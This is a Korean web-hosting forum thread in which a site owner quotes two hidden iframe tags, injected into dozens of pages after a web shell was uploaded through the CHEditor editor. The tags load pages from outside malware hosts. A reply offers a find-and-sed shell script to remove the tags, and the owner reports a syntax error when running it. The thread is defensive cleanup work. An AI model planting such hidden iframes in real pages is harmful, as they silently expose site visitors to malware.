ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 1043 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다.

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 1,779
14년 전 조회 1,169
14년 전 조회 1,440
14년 전 조회 960
14년 전 조회 1,109
14년 전 조회 901
14년 전 조회 1,227
14년 전 조회 1,115
14년 전 조회 540
14년 전 조회 685
14년 전 조회 739
14년 전 조회 1,068
14년 전 조회 894
14년 전 조회 897
14년 전 조회 866
14년 전 조회 1,283
14년 전 조회 980
14년 전 조회 987
14년 전 조회 994
14년 전 조회 807
14년 전 조회 1,861
14년 전 조회 1,635
14년 전 조회 1,058
14년 전 조회 890
14년 전 조회 1,965
14년 전 조회 1,329
14년 전 조회 1,167
14년 전 조회 922
14년 전 조회 1,629
14년 전 조회 3,888
14년 전 조회 2,542
14년 전 조회 1,238
14년 전 조회 853
14년 전 조회 921
14년 전 조회 1,448
14년 전 조회 1,110
14년 전 조회 1,473
14년 전 조회 1,529
14년 전 조회 1,547
14년 전 조회 739
14년 전 조회 985
14년 전 조회 2,863
14년 전 조회 891
14년 전 조회 1,354
14년 전 조회 940
14년 전 조회 812
14년 전 조회 1,354
14년 전 조회 791
14년 전 조회 1,454
14년 전 조회 1,044
14년 전 조회 1,711
14년 전 조회 1,639
14년 전 조회 1,143
14년 전 조회 1,369
14년 전 조회 1,066
14년 전 조회 1,767
14년 전 조회 1,341
14년 전 조회 1,344
14년 전 조회 1,627
14년 전 조회 1,518
14년 전 조회 948
14년 전 조회 1,021
14년 전 조회 789
14년 전 조회 965
14년 전 조회 1,715
14년 전 조회 2,467
14년 전 조회 2,372
14년 전 조회 2,013
14년 전 조회 1,542
14년 전 조회 1,621
14년 전 조회 1,403
14년 전 조회 1,650
14년 전 조회 766
14년 전 조회 1,388
14년 전 조회 754
14년 전 조회 1,208
14년 전 조회 975
14년 전 조회 2,091
14년 전 조회 860
14년 전 조회 2,691
14년 전 조회 1,098
14년 전 조회 944
14년 전 조회 3,033
14년 전 조회 818
14년 전 조회 1,087
14년 전 조회 624
14년 전 조회 931
14년 전 조회 718
14년 전 조회 1,415
14년 전 조회 840
14년 전 조회 1,219
14년 전 조회 841
14년 전 조회 765
14년 전 조회 743
14년 전 조회 1,458
14년 전 조회 925
14년 전 조회 814
14년 전 조회 834
14년 전 조회 1,496
14년 전 조회 1,515